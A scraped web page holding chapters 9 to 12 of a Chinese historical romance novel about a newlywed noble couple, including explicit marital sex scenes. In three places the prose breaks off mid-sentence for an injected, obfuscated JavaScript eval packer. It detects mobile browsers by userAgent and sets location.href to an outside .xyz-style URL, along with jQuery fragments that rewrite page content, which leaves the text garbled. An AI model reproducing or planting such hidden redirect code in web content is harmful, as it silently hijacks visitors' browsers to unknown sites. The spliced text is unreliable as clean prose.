盛菩珠指尖蜷了一下,正准备抽回手,然后下一刻手腕被握住,他看似根本没用力,可她使了全身力气也挣扎不了半点。
两人鼻息交缠,散开的发尾已经不分你我,她用力时微微曲起的膝盖,险些撞在他身上。
“郎君。”盛菩珠仰起头,一双长腿藏在锦衾下,足尖微绷。
谢执砚扣紧她手腕的手掌好似顿了一下,然后从唇的位置慢慢往下,每过一寸,她都能明显感受到掌心所过之处,冰冷的肌肤和蓄满力量的肌肉。
这种触感,哪怕同他夫妻敦伦她都是乖乖躺着,从未做过这样出格的举动。
盛菩珠看似胆大,实则有些事情又遵循着严格的礼数,轻易不肯越界。
黑夜,如同浓稠化不开的墨。
盛菩珠一阵恍惚,就像在做梦。
整个人被裹在一团冰凉潮湿的云里,触感被无限放大,明明该抗拒的举动,最后竟慢慢变了味,微凉滑腻的肌肤伴随肌肉的起伏,像是山峦一样的曲线。
她连他手是什么时候松开的都不知道,掌心已经不受她控制,半点没有要停下的意思。
起初还好,指尖所过之处细腻肌肤包裹着紧实的肌肉,不用眼睛也知道,那些流畅的线条一定充满了野性的味道,就像蓄势待发的猛兽,与他外表斯文清冷的君子皮相截然相反。
可渐渐地,她从摸到一块足有一指节长的疤痕开始,越来越多的痕迹擦过她的指腹。
有些伤痕摸上去已经柔软,有些地方能感觉出伤得很深,就算愈合也留下不可磨灭的瘢痕,就像美玉有了瑕疵。
这些瑕疵对他来说,恐怕是每一次生死关头,胜利者的功勋。
盛菩珠没有说话,只是在沉默中轻轻抚过那些疤痕的位置。
不知过了多久,正当她的指尖摩挲数过块垒分明的第八块腹肌,准备往下滑时,纤细的手腕再次被毫无预兆握紧。
“嗯?”她沉浸在那些伤痕里,有些怔怔眨了一下眼睫。
“你可以继续夸了。”他表情平静,声音却哑了。
盛菩珠后知后觉反应过来,她若再往下摸半寸,会碰到他身下的什么东西。
啊!
那可是让她心悬难眠,每一次都承受不住的“小郎君”。
好险,差点都握住了。
盛菩珠羞愤交加,脸颊上的红瞬间爆开,连耳尖都染上了迷人的烟霞色,特别的右边耳垂下有颗小痣,就像是一粒快要滴落的血珠。
她别开脸,澄净的眼睛终于充满了慌色,声音透着求饶的意味:“郎君,您就如同九重天上的仙,这些凡夫俗子的夸赞哪能用在郎君身上。”
“郎君能不能大人有大量,莫要与妾身生气。”
她强装镇定,关键时候,夸人的甜言蜜语当真不要银子似的往外蹦。
谢执砚笑了,好看的唇勾起一个并不明显的弧度,十分肯定说:“我从不与人生气。”
“夫人误会。”
不生气?
盛菩珠简直不敢相信自己的耳朵,心道真是不得了啊,都气成这样的了,变着法子让她夸他。
他竟然大言不惭说从不与人生气。
这话是骗鬼的吧!
“郎君既然不曾生气,那便早些安置吧。”
盛菩珠伸手去推他,哪曾想黑灯瞎火看不清楚,一不小
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740109|174125||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心就把他素白的衣带给扯开了,衣襟敞开瞬间,帐中那股清润的柏子香更浓了,鹅梨帐的清甜被压得微不可闻。
“安置?夫人身上的伤……”
他声音一顿,鼻息几乎贴着她耳廓,很轻地问:“好了吗?”
什么伤?
盛菩珠觉得他这话题转得太快,并没料到谢执砚分明是误会了她扯开他里衣的举动,而是当成某种睡前的暗示。
她眼睛眨了眨,尽是不解其意的茫然。
良久,谢执砚低头,淡淡的语气点到为止:“今日我未见夫人上药。”
盛菩珠终于反应过来,他说的伤,究竟是身上哪里的伤。
她嘴唇动了动,第一反应是否认,等抬眼对上他那双幽暗像是能把人看透的眼睛,拒绝的话,霎时成了无声的沉默。
“好,我知道了。”
谢执砚沉下身,凛冽的气息将她困在方寸之间。
他伸手,动作一丝不苟解开她的衣襟,身体本能的反应和规矩刻在骨子里的自我约束,像是形成了两个尖锐的极端。
当粗粝掌心扣紧那不盈一握的腰时,两人同时颤了一下。
肌肤相贴,那些细微的摩挲,像是一场大雨即将来临的试探,盛菩珠是热的,而男人宽阔的胸膛敞在空气里,凉得叫她发抖。
风雨欲来,她却像一朵娇贵的山茶,虽开得盛大,却根本承受不住那样的剧烈摇曳。
“夫君……”盛菩珠偏过头,青丝凌乱铺开,好似含情的一双眼睛带着氤氲的水雾,她不适地扭了扭身体,想说什么,却什么也说不上来。
这种事情,他并不知道要温柔,反而透出了他骨子里深藏的强势。
一旦开始,就很难收住。
但自始至终,谢执砚只是遵循着他认知内的本能,汗水浸湿他的鬓角,他动作很重,同样也很专注看着她。
刚开始时和之前一样,她虽然害羞,但并不抗拒这件事,可到了关键时候,在他艰难的同时,她好像也不太能承受得了。
满汗水的眉心微微蹙起,像是有无数理不清的困惑,明明之前给她上药的两次,那里并不如现在这般艰涩。
“还可以吗?”他停下,声音带着压抑过头的冷静,视线落下,像是要从她的神情分辨真假。
盛菩珠仰着头,脸和脖颈都覆着冷汗,她呼吸急促,想要快些结束,但又没有梦中那种满足,想破脑袋也说不上什么原因。
朝他胡乱点了点头,结果他一动,她声音就是承不住的弱哼。
明明这种事情,她偶尔也听端阳长公主提过几次,但是算上新婚那晚,她和谢执砚已经第三次了,不契合的事实还是那样直白。
这场雨,直到很久很久后才淅淅沥沥下起来。
从泪滴似的雨点,渐渐变成了瓢泼大雨。
盛菩珠因为这场迟来的雨,终于得以喘息,她在雨水中飘摇,湿漉漉的水浸润之后,露出内里裹着花蜜的蕊心。
在她整个人即将被淹透窒息时,这场雨盈满的终于停歇。
“药在哪里?”
谢执砚站起身,目光偏过去,是难以捉摸的神色。
盛菩珠陷在短暂的失神中,许久才找回声音。
“妆奁、荷包里。”
“你能不能让……”
她双膝不适夹紧,勉强说了几个字,眼皮沉沉,不一会儿便发出了细细的鼾声,显然以她的体力不像是能承受得住他的精力,不过一次,就已经过度透支。
幸好他每回只做一次。
这是彻底失去意识前,她唯一庆幸的念头。
10. 第 10 章
清晨,暖阳透过菱花窗,洋洋洒洒落了满地。
盛菩珠虽醒了,脑子还是迷糊的,她翻了个身,抬起软绵绵的手挑开帐子一角,无声瞥了一眼,又懒懒倒了回去。
屋外天色大亮,估摸着连午膳都过了。
她一觉,睡得实在太沉。
只要闭上眼睛,脑海里不时有零星的记忆碎片闪过,事后谢执砚好像问她药在哪里,那时候她应该都快灵魂出窍了,迷迷糊糊说了几个字,至于后来……
后来的事。
盛菩珠呼吸一重,双颊染上一层烟霞般的粉,一双盈盈杏眼水汪汪的,像昨夜哭出的泪水还未干透,最难以描述的是小腹下莫名激起一阵密密麻麻的酸意。
织金锦衾下一双雪白修长的腿慢慢蜷紧,她那时候即使睡了,可身体依旧记得他微凉带着薄茧的指尖,那触感过于真实。
他依旧如前两次那样,动作一丝不苟。
然而……
盛菩珠只要一想到,谢执砚这样冷淡疏离的郎君,顶着一张清隽疏朗的脸,替睡梦中的她做那样羞于启齿事。
她就觉得背脊发麻,身体像是把那些触碰藏到了记忆深处,一旦想起来,她的心跳和呼吸像是脱离了身体的掌控。
谢执砚这人的冷厉强势,在敦伦一事上能体现得淋漓尽致。
除了上药……他还算知道要温柔些。
“嬷嬷,我醒了。”盛菩珠闭了闭眼,紧急打断各种纷乱的思绪。
她哑着声音朝帐子外喊了一声,想要坐起来,可浑身上下半点力气都使不出来,后腰酸得她都不得不怀疑,谢执砚昨晚那一双手的力气,是不是在暗中报复她看郎子跳舞,要把她折断了。
根本不能动,骨子里昨天被他撞进去的酸和软,像是已经在身体里盈满,只要一动,身下饱胀的酸和软就像要泄出来一样。
“娘子醒了?”杜嬷嬷挑开帐幔,小心扶她坐起来。
梨霜和耐冬手里拿着洗漱的用具,金栗双手捧着一杯热茶,一看这架势,几人恨不得把她团团围住,眼中的担心却是掩饰不了的。
盛菩珠朝几人弯了弯眼睛,接过金栗手里的茶水抿了一口:“现在什么时辰了?”
杜嬷嬷笑着看她,眼里是满满的怜爱:“午时刚过,清客已经去小厨房,让厨娘给娘子重新做些易克化的食物。”
“娘子若觉得饿得厉害,就先拿炉子里一直温着的燕窝羹垫垫胃。”
盛菩珠摇摇头:“先洗漱吧,嬷嬷等会儿我想沐浴,昨儿夜里出了很多汗。”
她说得委婉,杜嬷嬷这般年岁的人怎么会听不懂。
“娘子不如先用过午膳,等精神好些再去沐浴。”
“午后天气热,也适合泡澡去乏。”
“嗯。”盛菩珠眼睛半眯,哪怕睡了一夜,依旧是一副累极了的模样,“我听嬷嬷的。”
这时候,屋外又下起雪,哪怕室内有地龙盛菩珠还是觉得冷,她让人把午膳摆在暖阁,圈椅下边放了两张软垫,后腰还塞了个软枕。
“娘子若是没有胃口,不如喝些汤?”清客端来小厨房一早就炖下的四物汤。
汤头是用乳鸽吊出来的,剃了骨头只取最嫩的肉,汤里加了当归、川芎、白芍、熟地黄,都是补血养气的药材。
一眼看过去,奶白色的汤面飘着几颗鲜红的枸杞,连油花都撇得一干二净。
盛菩珠从小就养得娇气,只要任何能与“美”沾边的东西,她都愿意多看几眼,身边伺候的婢女各个生得花容月貌就算了,她就连三餐入口的东西,也只挑好看的吃。
所以这两年来,韫玉堂的厨娘为了能哄她多吃几口饭,那可是费尽了心思折腾菜品的花样。
果然这一份盛在青瓷碗里的四物汤,深得她心意。
盛菩珠拿起汤匙慢慢喝了一口,药材的味道不重,乳鸽汤清甜,暖暖的汤水滑过喉咙,终于驱散了昨夜沉积在身体里的疲惫。
“郎君何时出的门?”盛菩珠用汤匙挑出一颗枸杞,贝齿咬住。
“郎君卯刚过就起了,辰时三刻出的门。”
“出门前有让斑奴在韫玉堂外给杜嬷嬷带话,说是今日有同袍宴请,就不回府用晚膳了。”
“晚膳?”盛菩珠不解眨了眨眼,枸杞的清甜在舌尖上化开,她不认为她和谢执砚已经熟到可以特地交代行踪的程度。
清客知道她喝酒忘事的性子,笑着提醒:“今儿一早,嬷嬷就说娘子指定要忘,今日是初一,府中各房一同陪老夫人用膳的日子。”
盛菩珠这才懊恼地抬手压了一下眉心:“下回不喝酒了,就算端阳长公主求我,我也不喝。”
清客扑哧一声笑出来:“马上临近年关,到时候各府交好的女郎们相互宴请,还有姑娘家中的妹妹们,姑娘后头的酒可躲不掉。”
暖阁有垂帘,又放了炭盆。
盛菩珠怕空气闷让人把外边支摘窗半推开,阳光落在她白净的脸颊上,嘴唇被汤水浸润,微仰的脖颈下露出大片雪白的肌肤,加上一身鹅黄的折枝堆花襦裙,往那一坐,就是般般入画的美貌。
她听完清客的话,心里一阵心虚,只好含蓄抿了一下唇:“若是郎君也在,我就让你们悄悄把酒水换了,醉酒误事。”
“我可……”她咬了一下舌尖,赶紧把心里那句‘承受不住郎君的手段和力气’给吞回去。
她慌忙调转话题:“今日雪小,等会还是泡花瓣澡吧,到时候浑身香香的,正好去颐寿堂给老夫人请安。”
清客笑着应下,还取了花露和香膏出来,让盛菩珠挑味道。
……
等盛菩珠到颐寿堂的时候,长房大夫人秦氏和三房夫人窦氏都已经在了。
秦氏一如既往坐在老夫人右手边的位置,笑吟吟也不知说了什么,逗得头发花白的老太太笑得泪花子都出来了。
“哎呀,菩珠来了。”老夫人笑着朝盛菩珠招手。
“好孩子过来,坐祖母身边。”
盛菩珠解开大氅递给婢女,行过礼才大大方方在老夫人左手边的位置坐下。
“天冷,孙媳来晚了。”
她一路走来,出门前又刚泡完澡,双颊浮着红晕就像玉兰花瓣上点了胭脂,鲜活明艳又带着恰到好处的烂漫。
老夫人年纪大了,就喜欢盛菩珠这样明媚的小娘子,加上花厅里都是长辈,不用避讳未成婚的小娘子,说话也就大胆些。
“好孩子,执砚才归家,祖母知道你正是忙的时候,就是不来,派人来说一声也可以的。”
“这几日辛苦你了,我瞧着都清减了许多。”
她拍着盛菩珠的手,压低了声音:“过几日,我让将嬷嬷给你炖些滋补的汤药送过去。”
“我的心肝,想必你这几日都没有休息的时候,祖母知道他定是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740110|174125||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
累着你了,毕竟执砚正是血气方刚的年纪,自然难以压制。”
一开始,盛菩珠还没有听懂老夫人这一番话的意思,等她后知后觉品出老太太话里藏着的深意,还是因为连一向话多的大夫人秦氏都变成了卡了脖子的鹌鹑。
至于随和内敛的三婶娘窦氏,更是深深低着,手里握着帕子,用极其不自然的动作压了压嘴角。
盛菩珠原本还抿唇在笑,结果她茫然眨了眨眼,那笑就僵在脸上。
脑袋里“嗡”的一声,热气直接从心口窜上了天灵盖。
啊!
这……这种事要怎么和长辈解释啊。
老夫人到底是从哪个乱嚼舌根的人那里得来的,不靠谱小道消息。
她总不能说昨日在端阳长公主府上看郎子跳胡旋,还醉酒,还宵禁不归,所以才被谢执砚秋后算账的,根本不是从他归家为止,她就没下过床啊。
别说日日敦伦了,只要他但凡多来一次,她恐怕都要被他撞死在床上。
“祖母,您……”
盛菩珠连颈子都泛起桃花般的粉色,她话还没说完,老夫人笑着打断:“你不必解释,我们都懂。”
“新婚夫妻,正是情浓的时候。”
……
“谢郎归家,新婚夫妻想必……”也不知谁的调侃声,淹没在杏花楼的人声鼎沸里。
谢执砚端坐在酒案前,好似对那声荤素不忌的调侃置若罔闻,他一袭玄色暗纹圆领宽袍,腰上扣蹀躞玉带,烛火映在他轮廓分明的脸上,在高挺的鼻梁落下一抹锋芒的暗影。
杏花楼,顶楼雅间坐着一桌非富即贵的弱冠郎君,谢执砚被众人拥簇坐于主位。
“别说了,我在玉门关足足素了两年,回去这几夜被缠得……恨不得到天明。”
“真是要了我的命。”
这一群人里,大多数是从玉门关归来的武将,有些人在戍边之地待得太久,开起玩笑自然改不了这几年养成的习惯,就显得无所忌讳。
谢执砚并不答,他只是缄默听着,薄唇微抿,偏浅的唇色沾了酒液,给人一种岿然不动的冷。
“谢世子怎么不说话?”
“总归不是新婚当夜离家两年,世子夫人还在气头上吧?”有人起身给谢执砚斟酒,笑着问。
谢执砚慢慢饮了一口酒,搁下酒杯后,指尖漫不经心转动着右手拇指上戴着的羊脂玉扳指,这是他想要静心思考时才会有的举动。
许久,他慢慢抬眼,不算锐利的视线却浓黑如墨:“内子贤淑,从来不是无理取闹之人。”
他生性端严,平日矩步方行,纵是酒宴亦是非礼勿言。
至于他们刚刚说的,一夜七次,缠得紧,……恨不得到天亮,他从来不知道。
谢执砚眯起眼睛,虽然看似不以为意,但每一字都牢牢记下。
七次于他而言不是难事,只不过若论体力,就算从戌时开始直至天明,五个时辰的时间过于紧迫,并不够他做足七次。
好在对于不懂之事,书山有路,学海无涯,勤学苦练是必然。
若因为夫妻次数不足,而变相冷落妻子,岂不是犯了先人定下的严苛家规。
幸而妻子体贴,并未说破。
他闭了闭眼,指节抵在眉心,敛眸沉思。
作为丈夫的职责,他理应自律自省,严谨执行,才不会埋没妻子的一番苦心。
11. 第 11 章
当残月斜挂檐角时,席间醺热已散作夜凉。
谢执砚踩着夜色归家,廊庑下灯笼的光斜斜漏出窗棂照在他身上,眉目如刀裁,轩轩韶举,偏生嘴唇淡薄,沾了酒液,更添一分眉眼沉敛的疏离。
他从廊庑穿过,灯芒下的身影巍然如山,每一步都显得那样高大挺阔。
谢执砚皱了皱眉,本欲直接回韫玉堂,可就在临近垂花门的三岔路前,偶然低头视线扫过袖摆上不慎被人泼到的酒渍。
他生生止住步子,转身去了书房。
“郎君不是回韫玉堂?”斑奴在吃苍官从杏花楼给他带回来的透花糍,猛地看到谢执砚回来,差点被那口透花糍直接给噎死。
谢执砚冷淡抬眼,漠然盯着斑奴手里的透花糍:“食不语。”
斑奴赶紧的剩下的糕点团吧团吧,一口噎掉:“郎君,小人吃完了。”
“备水,我要沐浴。”谢执终于愿意同他说话。
“是,小人这就去准备。”
斑竹见他神色不虞,一边咽下糕点,心底默默腹诽道,莫不是喝酒迟归,吵架了,所以夫人赶郎君睡书房?
越想越觉得是这种可能,斑奴赶紧手脚麻溜跑了。
谢执砚走到书案前坐下,那双极冷的眼,因酒意似天穹的碎星蒙了一层纱,教人看不清眼底的情绪。
他冷白的指尖摁在眉心上,眸色微深似想到什么。
“青士。”
“郎君。”青士就守在书房外。
“我成婚前一日,父亲有亲自送来的一个紫檀小匣,你记得当时收在何处?”谢执砚垂眸,长睫在眼下投出一抹暗影,遮住了他平静眸底悄然泛起的动荡。
“匣子?”青士声音顿了很久,才道,“小的记得郎君把匣子和庚帖放在一处,应该是……”
“我知道了。”谢执砚站起身,朝里间走去。
满室清寂,他并未点灯。
月光透过窗子在地上铺开浅浅一层,屋中只简单放了一张小榻,靠窗的地方摆有书案,案上有笔墨纸砚。
谢执砚从书案上的砚盒里拿出一把钥匙,走到对床那一侧放着的博古架前,打开其中一个上锁的箱子。
他静立片刻,伸手从箱子里取出一个比巴掌大不了多少的紫檀小匣,匣子最上方还压着一张大红的庚帖。
他目光偏过去,极快扫了一眼。
庚帖上书——明德侯府,盛菩珠……太初二十七年,正月初一。
这是她的出生和生辰,谢执砚心底极快掠过这一想法,然后默默收起庚帖。
至于紫檀小匣里的东西,他心中虽有猜疑,不过还不太确定。
闭了闭眼慢慢打开匣子,当衣袖滑落时,他从里面取出了薄薄的一卷册子。
月光泠泠,映着他极深的眉眼。
册子翻开的刹那,入目皆是不着寸缕的精致小人,两个小人交缠的空白处还注有描写极为细致的一行行小字……
冬日的风,凉得透骨。
他却觉得那风,带着只有盛夏才有的灼热。
掌心一震,骨节分明的指尖捏起封面第一页,又重重扣了回去。
“避火图”三字,骤然刺入他的视线。
乌眸微缩,冷意瞬间漫开,捏着册子的那只手青筋隐现,像是只要稍稍用力,就能将那薄薄的纸张捏碎。
原来是这样。
谢执砚低眸,目光落在“避火图”三字上,极轻地扯了一下唇角。
夫妻敦睦人伦,是他自大了,在心底长长一叹。
成婚前一夜,父亲找他,他那时就应该猜到的。
只是当时并未放在心上,而且他从启蒙开始学的就是君子六艺,书上说‘发乎情,止乎礼义’,他秉承端方守矩,自以为敦伦一事,只要进去便可。
好在,一切都来得及。
既犯了错,自然会尽力弥补。
……
五更天刚过,天色未透,纱帐内浸着一抹清透的淡香。
盛菩珠陷在梦里,白嫩的指尖无意识攥紧锦衾一角,红润的唇微微张开,脖颈上落有细汗,她应该是嫌热,一双长腿从锦衾探出来,未着罗袜,双足雪白粉嫩。
也不知是梦到了什么,喉咙无意识闷哼两声,平顺的呼吸霎时一窒,她眼睫颤了颤,像是要醒了。
“你是……?”盛菩珠做了噩梦被吓醒,一睁眼看见帐子外站了个人影,几乎是倒吸一口凉气,张口就要喊人。
好在谢执砚眼疾手快,在她张嘴前,就伸手把人给捂住了。
可惜盛菩珠动作更快,在他手捂上她的刹那,她小嘴猛张,不管不顾对着手掌心猛咬一口,用了吃奶的力气。
冷冽的晨风混着霜雪的气息,透过男人宽大的手掌心,贴在她鼻尖上。
“夫人,是我。”谢执砚声音有些沉,落在黑暗里,透着不同往日的沙哑。
盛菩珠微愣,赶紧松嘴。
可惜她咬得实在狠,舌尖从贝齿上舔过,能尝到淡淡的血腥味。
“谢……”盛菩珠自知理亏,仰头去看他,眼底还凝着未散的睡意:“郎君大半夜的,干嘛呢?”
谢执砚不动声色把手背到身后,方才她柔软的唇贴上他手掌心的瞬间,身体内血液涌动,似有一团乱出的火不受控制,血气方刚的年纪显现出诚实的需求。
他的冷静,并不能压下身体反应出的本能。
“夫人,今日我需上朝。”谢执砚重新点灯,逆光站在灯下看她,高大的影子从他身体投下,几乎将她完全罩住。
“上朝?”盛菩珠探出身子看了一眼更漏,虽然天还没亮但是已经快卯时了。
她终于后知后觉反应过来,他归家后,平日要穿的衣裳几乎全部送到韫玉堂,既然要上朝,肯定得换朝服。
“郎君,要妾身伺候你穿衣吗?”盛菩珠从来就没有五更天起床过,她作为一个有教养的女郎,自然得端着表面功夫问一问她的夫君需不需要服侍,以表她的贤淑端庄。
谢执砚成婚前,跟在身边伺候的除了书童和小厮,也只有他父亲安排的几个贴身侍卫,穿衣沐浴这种事,他不假于他人之手。
只是现在。
谢执砚目光垂下来,冷薄的唇微抿。
他朝盛菩珠看过去,背在身后的掌心轻轻握紧,虎口上一个月牙形的新鲜牙印,几滴血珠顺着他雪白的肌肤渗出来,现在并不适合穿衣。
他嗓音沉沉道:“那就劳烦夫人。”
这回轮到盛菩珠愣住了,她本就是客气问一问,根本没料到他会同意。
朝服繁琐,她不会穿啊。
盛菩珠有些心虚地从床上起来,谢执砚已经从衣橱里拿好衣服。
等人站到灯下,她才注意到他单手在解身上的衣扣,而左手虎口位置有个鲜红刺目的牙印,还流着血!
方才她咬的?
……咬得太重了吧。
盛菩珠心头莫名发紧,脑袋一片空白,只能低下头默默走到他身前拿起一旁叠好的单衣,用很轻的声音说:“郎君,还是妾身来吧。”
谢执砚看着地上翩然走进的人影,淡淡道:“无妨,你协助我便可。”
盛菩珠有些不安点头,小声说:“对不起,妾身方才被吓到,所以才咬疼你的。”
谢执砚嗯了一声,伸手接过她递上的衣裳:“不过小伤,是我之错未点灯吓着你。”
“夫人,不必放在心上。”
盛菩珠更加内疚得连头都不敢抬,她乖乖绕到他身后,踮起脚尖帮他理正的衣领,绯红的官袍衬得她一双手又嫩又白,她根本不敢想象自己的手
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740111|174125||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上要是被伤那么一个大口子,得偷偷哭上多久。
越想就越心神不安,扣蹀躞带时他单手不太行,只能她虚虚环住他的腰,又不敢贴太近,两条玉臂微悬,直到金扣子“咔嗒”一声扣紧,她才悄悄松了一口气,垂着脑袋后退一步。
“郎君看看可还行?”
谢执砚站在她平日梳妆镜前,淡淡瞥了一眼,她刚才很细心,并无不妥之处。
盛菩珠像是想到什么,转身走到里间,不一会儿从里面拿出一个梨花木的小医箱:“郎君还是给虎口的伤,包扎一下吧。”
“好。”谢执砚看着她。
盛菩珠见他同意,终于稍稍松了一口气,也没多想就赶紧打开小医箱。
里放着各类瓶瓶罐罐,平时都是杜嬷嬷带人在整理,盛菩珠并不知道放了什么。
“夫人身上的伤。”
他嗓音停了停:“好了?”
盛菩珠倏地抬头,正对上谢执砚幽深的眼睛。
然后她视线往下,终于看清楚箱子最显眼的那个天青色的小瓷罐,还不止一罐,至少六七罐,也不知道杜嬷嬷在什么时候放进去的。
“好了……”盛菩珠张了张嘴,心口怦怦跳,声音小得连她自己都快听不清。
谢执砚缄默看向她,深浓的眸色,很久才问:“是实话?”
“略有不适。”盛菩珠对上他那双仿佛能看透一切的眼睛,没了撒谎的勇气。
“我手上的伤先不急。”谢执砚站起来,面不改色走到浴室,不多时里间响起洗手的水声,从声音就能听出来,他一定认真洗了很多遍。
盛菩珠已经猜到他要做什么,就算他从来都是规矩克制的,但是……
但是怎么能每次都让他帮忙,还是那样的地方。
“郎君,不……不必麻烦,我自己可以的。”盛菩珠朝浴室方向喊。
谢执砚走出来,袖管卷起来,如霜一样的手腕上凝着水珠。
他依旧是冷静的语气:“夫妻敦伦,天经地义。”
“我既伤了你,那么给你上药同样天经地义。”
“那你手上的伤?”盛菩珠还想挣扎一番。
谢执砚已经走到她身前,眉眼锋利,不容置喙:“我伤的是左手,并不妨碍我的右手。”
……
等盛菩珠再次睁眼,屋外已暖阳高照。
她眼皮仍沉沉的,身体软得像在水中泡久的绸缎,腿间还残留着一阵湿意,她懒懒翻了个身,终于慢慢睁开眼睛。
“娘子醒了?”杜嬷嬷笑着进来。
盛菩珠撒娇道:“嬷嬷我好累哦。”
杜嬷嬷给了她一个颇为暧昧的眼神,笑吟吟道:“老夫人知道娘子昨儿夜里定然也辛苦,已经早早让蒋嬷嬷熬了大补的汤,这会子热一热就能吃了。”
盛菩珠知道昨夜那动静,定是身边伺候的人都误会了,她懊恼揉了一下眼睛:“我没事,我不用喝补汤。”
杜嬷嬷却笑着道:“郎君今儿出门前,知道老夫人起得早,专门去老夫人院里请安。”
“老夫人特意叮嘱过郎君,娘子的补汤还是郎君亲自提回来的。”
“郎君离开前留下话,今夜会回韫玉堂安置。”
这一刻。
盛菩珠觉得天都要塌了!
怎么办。
她好怕谢执砚误会哦,流言蜚语这种东西,一传三都能变味。
毕竟敦伦一事他们并不算频繁,万一又是补汤又是叮嘱的,他再错误理解一番,会不会觉得是她在欲求不满,嫌次数少啊!
这事,简直过于离谱。
要是误会大了,她一定被撞死在床上的,必须解释清楚。
盛菩珠火急火燎翻身而起:“嬷嬷,你给快帮我换衣裳,我要去给老夫人请安。”
12. 第 12 章
“菩珠怎么来啦?”
颐寿堂花厅,盛菩珠才进去,老夫人就温柔拉过她的手,亲昵拍了拍:“好孩子,天冷你不必特地过来请安。”
“要喝什么,让蒋嬷嬷给你换。”
“祖母这里的茶就挺好。”
“您让人给我送了汤,合该过来给您请安的。”盛菩珠垂眸浅笑在老夫人身旁坐下,伸手端起紫檀小几上一盏新沏的渠江薄片,慢慢饮了一口。
茶烟轻袅,汤色乌泽油润,纤细的指尖捧着青瓷盏,衬得她一双手雪白细腻,无论做什么,一举一动都是那样的赏心悦目。
老夫人眼尾笑纹更深了,拉着她悄悄压低了声音,慈爱道:“好孩子,今晨执砚来请安时我说过他了,你们敦伦一事上,他需得顾及你的感受。”
盛菩珠眼睫颤了颤:“祖母只是这样说?”
她明显有些不信。
老夫人喝了一口茶润润喉,见嬷嬷带着婢女已经退远,她这才叹了口气道:“哪能呢!”
“执砚那性子,就和他祖父一模一样,要不是老家伙走得早,还不知道有多得意呢,家里终于出了一个像他的孙辈。”
“可惜你祖父……”
她摇了摇头:“不说他,就说执砚吧。”
“从出生起,这孩子半数时间都跟着长公主娘娘住在天长观,十岁之后又被他舅舅接到宫中和太子做伴,他给太子殿下当伴读的那些年,我有时想见他一面都难。”
“好在太后她老人家心善,但逢年节都会宣旨让执砚回靖国公府小住数日。”
盛菩珠安静听着。
“所以执砚这性子……”老夫人摇了摇头,“有些话如果不说直白些,他只会拿出谢氏规矩那一套,固执得就像山涧清泉里未曾雕刻的璞玉,虽有琼琚之色,却又拒人于千里之外。”
“所以,祖母您说了什么?”盛菩珠歪着脑袋,雪颈修长端雅,眼里的好奇都快藏不住了。
老夫人慢慢搁下茶盏,很有深意说:“哦,也不是什么出格的话。”
“我就是同执砚说得考虑考虑你的身体承受情况,并不是他觉得可以就可以的。”
“至于次数上嘛,我也特地敲打过了,要审时度势。”
“这这这……”盛菩珠真的快哭出来了,张了张嘴,满口茶香,却被堵得哑口无言。
老夫人眯着眼睛笑,非常自信说:“好孩子,祖母疼惜你吧。”
“执砚走前我还特地让蒋嬷嬷端了补汤逼他喝下,就怕他年轻气盛不知节制累着你。”
“好在这孩子,虽然待人是冷淡了些,只要讲规矩有道理的话他还是愿意听的。”
“那郎君他怎么说?”盛菩珠颤着声音问。
老夫人淡定道:“执砚说他会好好反省。”
“你尽管放一百个心。”
盛菩珠对‘放一百个心’这五个字,已经有心理阴影了。
她还记得几天前,端阳长公主也是这样理直气壮和她保证,结果不出两个时辰,谢执砚就杀到了端阳长公主府逮她。
今夜,她不会又被反杀吧。
盛菩珠一个心高高悬了起来,指尖搅着帕子上的山茶绣纹,欲言又止。
就在她纠结的时候,花厅外传来一阵笑声:“母亲,儿媳带明宗媳妇来给母亲请安了。”
秦氏人还没到,声音已经笑吟吟传进来。
盛菩珠抬眼望过去,就见秦氏难得亲昵牵着儿媳薛清慧的手,那小心翼翼的模样,就像是什么宝贝疙瘩。
“哟,菩珠也在呀。”秦氏让薛清慧坐下,又吩咐婢女拿了靠枕,这才春风得意抬眼看过去。
“大伯娘。”盛菩珠起身行礼。
薛清慧也赶紧站起来,用很低的声音朝盛菩珠喊:“大嫂嫂。”
“你这孩子,赶紧坐下,你嫂嫂向来宽以待人,你现在是双身子的人,不必那样麻烦。”秦氏赶忙道。
盛菩珠目光柔和从薛清慧圆挺的肚子上扫过,笑意温和:“弟妹不必多礼。”
薛清慧却紧张揪紧了手帕,见秦氏看她,赶忙扶着婢女的手坐回去。
老夫人挑了一下眉,视线同样落在薛清慧的肚子上:“这么冷的天,雪大路滑,家中无论哪个小娘子我都吩咐过不必特意来请安,清慧都快临盆的人了,何必折腾她过来。”
秦氏听了也只是笑一笑,努力装作风平浪静的模样,扬眉吐气道:“方才叫了太医进府诊脉,已经八成确定了,清慧肚子里怀的是个男孩。”
